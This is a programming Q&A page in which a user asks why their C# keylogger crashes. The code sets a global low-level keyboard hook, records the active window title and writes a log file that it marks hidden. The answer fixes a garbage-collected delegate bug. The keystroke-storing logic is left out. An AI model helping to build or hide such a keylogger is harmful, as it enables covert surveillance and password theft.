Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 7439509
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: May 29, 20262026-05-29T10:42:59+00:00 2026-05-29T10:42:59+00:00

I had been working on a key-logger in C#, windows forms, and I’m stuck

  • 0

I had been working on a key-logger in C#, windows forms, and I’m stuck up on some point.When I run my code, it works fine and records 20-25 keystrokes, but after that the program suddenly crashes and these are the error messages shown: (the first one completely stumps me)

1.A callback was made on a garbage collected delegate of type ‘karan_keylogger!karan_keylogger.Form1+LowLevelKeyboardProc::Invoke’. This may cause application crashes, corruption and data loss. When passing delegates to unmanaged code, they must be kept alive by the managed application until it is guaranteed that they will never be called.

2.Then it shows ‘Object Reference not set to an instance of the object.(Iam familiar with this one)

Code is as follows:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Security;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.Timers;
using System.Diagnostics;


namespace karan_keylogger
{
    public partial class Form1 : Form
    {
        KeysConverter kc;
        private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
        //private static LowLevelKeyboardProc keyhook = detect;
        StreamWriter sw;
        private const int WM_KEYDOWN = 0x0100;
        bool shiftDown, inBetween, numLockPressed;
        string currWindow, prevWindow,path;
        IntPtr x;
        [DllImport("User32.dll")]
        public static extern int GetWindowText(int hwnd, StringBuilder s, int nMaxCount);
        [DllImport("User32.dll")]
        public static extern int GetForegroundWindow();
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        public Form1()
        {
            InitializeComponent();
            kc = new KeysConverter();
            path="E:\\data.txt";
            shiftDown = false;
            //shiftUp = true;
            inBetween = false;
            numLockPressed = false;
            currWindow = getTitle();
            prevWindow = currWindow;
            File.SetAttributes(path,FileAttributes.Normal);
            sw = new StreamWriter(path, true);
            sw.AutoFlush = true;
            sw.WriteLine("Time: "+DateTime.Now.ToShortTimeString()+" Date: "+DateTime.Now.ToShortDateString()+" Window: "+currWindow+"-   ");
            File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.ReadOnly);
            LowLevelKeyboardProc keyhook = new LowLevelKeyboardProc(detect);
            Process curProcess = Process.GetCurrentProcess();
            ProcessModule curModule = curProcess.MainModule;
            //private delegate IntPtr LowLevelKeyboardProc(int nc,IntPtr wparam,IntPtr lparam);
            x = SetWindowsHookEx(13, keyhook, GetModuleHandle(curModule.ModuleName),0);
       }

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            UnhookWindowsHookEx(x);
        }
        private string getTitle()
        {
            int handle = GetForegroundWindow();
            StringBuilder sb = new StringBuilder(1000);
            GetWindowText(handle, sb, 1000);
            string winText = sb.ToString();
            return winText;
        }

        private IntPtr detect(int ncode, IntPtr wparam, IntPtr lparam)
        {
            // logic for keystroke storing
            return CallNextHookEx(x, ncode, wparam, lparam);
        }
    }
}

Any help would be really appreciated, this is a pet project!..

  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-05-29T10:43:00+00:00Added an answer on May 29, 2026 at 10:43 am

    As the error message says, unmanaged code will not keep managed resources alive. You’re creating a local variable, keyhook and passing it to SetWindowHookEx (i.e. into unmanaged code).

    Then you exit your constructor, the keyhook variable goes out of scope, from your code’s point of view it’s no longer referenced anywhere, and that means it’s ready for garbage collection. But the unmanaged code will keep using it. When the garbage collector sets in, the delegate is lost, and you’ll get the error message.

    Simply declare your delegate as a class member, rather than a local variable.

    private LowLevelKeyboardProc keyhook;
    
    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

I've been working for some time on (Java) Bytecode, however, it had never occurred
I have modified a working Windows service that had always been starting beforehand. After
I've been working on a Java project for year. My code had been working
I had been working on server side(c#) for a couple of years. But now
I had been wondering for quite some time on how to manager memory in
Has anyone had difficulty getting what has otherwise been a solid iPhone app working
I had been working on Preorder tree traversal algorithm as a part of my
I've been trying to get AES encryption and decryption working for some time in
Recently I have been working on a multiplayer networking app. I had successfully implemented
I had been working on Oracle long time back and has exposure to SQL.

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.